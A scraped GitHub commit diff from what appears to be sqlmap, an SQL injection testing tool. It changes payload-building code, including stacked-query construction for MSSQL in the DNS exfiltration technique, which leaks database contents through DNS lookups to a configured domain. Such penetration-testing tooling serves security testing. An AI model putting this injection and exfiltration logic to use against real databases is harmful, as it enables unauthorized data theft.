Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 2c28423

Browse files
committed
minor update
1 parent 8a9d09f commit 2c28423

3 files changed

Lines changed: 21 additions & 4 deletions

File tree

lib/core/agent.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -200,7 +200,7 @@ def suffixQuery(self, expression, comment=None, suffix=None, where=None):
200200
elif any([kb.injection.suffix, suffix]):
201201
expression += " %s" % (kb.injection.suffix or suffix)
202202

203-
return expression
203+
return re.sub(r"(?s);\W*;", ";", expression)
204204

205205
def cleanupPayload(self, payload, origValue=None):
206206
if payload is None:

lib/core/common.py

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1608,7 +1608,8 @@ def getSPLSnippet(dbms, name, **variables):
16081608
checkFile(filename)
16091609
retVal = readCachedFileContent(filename)
16101610

1611-
retVal = re.sub(r"#.+", "", retVal).strip()
1611+
retVal = re.sub(r"#.+", "", retVal)
1612+
retVal = re.sub(r"(?s);\W+", "; ", retVal).strip()
16121613

16131614
for _ in variables.keys():
16141615
retVal = re.sub(r"%%%s%%" % _, variables[_], retVal)

lib/techniques/dns/use.py

Lines changed: 18 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -13,12 +13,15 @@
1313
from lib.core.agent import agent
1414
from lib.core.common import Backend
1515
from lib.core.common import calculateDeltaSeconds
16+
from lib.core.common import cleanQuery
1617
from lib.core.common import dataToStdout
1718
from lib.core.common import decodeHexValue
1819
from lib.core.common import extractRegexResult
1920
from lib.core.common import getSPLSnippet
2021
from lib.core.common import hashDBRetrieve
2122
from lib.core.common import hashDBWrite
23+
from lib.core.common import pushValue
24+
from lib.core.common import popValue
2225
from lib.core.common import randomInt
2326
from lib.core.common import randomStr
2427
from lib.core.common import safecharencode
@@ -29,6 +32,7 @@
2932
from lib.core.data import logger
3033
from lib.core.data import queries
3134
from lib.core.enums import DBMS
35+
from lib.core.enums import PAYLOAD
3236
from lib.core.settings import MAX_DNS_LABEL
3337
from lib.core.settings import PARTIAL_VALUE_MARKER
3438
from lib.core.unescaper import unescaper
@@ -53,6 +57,7 @@ def dnsUse(payload, expression):
5357

5458
if output is None:
5559
kb.dnsMode = True
60+
pushValue(kb.technique)
5661

5762
while True:
5863
count += 1
@@ -67,8 +72,18 @@ def dnsUse(payload, expression):
6772
expressionRequest = getSPLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsDomain)
6873
expressionUnescaped = unescaper.unescape(expressionRequest)
6974

70-
forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3)))
71-
Request.queryPage(forgedPayload, content=False, raise404=False)
75+
76+
if Backend.isDbms(DBMS.MSSQL):
77+
kb.technique = PAYLOAD.TECHNIQUE.STACKED
78+
expression = cleanQuery(expression)
79+
80+
comment = queries[Backend.getIdentifiedDbms()].comment.query
81+
query = agent.prefixQuery("; %s" % expressionUnescaped)
82+
query = agent.suffixQuery("%s;%s" % (query, comment))
83+
forgedPayload = agent.payload(newValue=query)
84+
else:
85+
forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3)))
86+
Request.queryPage(forgedPayload, content=False, noteResponseTime=False, raise404=False)
7287

7388
_ = conf.dnsServer.pop(prefix, suffix)
7489
if _:
@@ -81,6 +96,7 @@ def dnsUse(payload, expression):
8196
else:
8297
break
8398

99+
kb.technique = popValue()
84100
kb.dnsMode = False
85101

86102
if output is not None:

0 commit comments

Comments
 (0)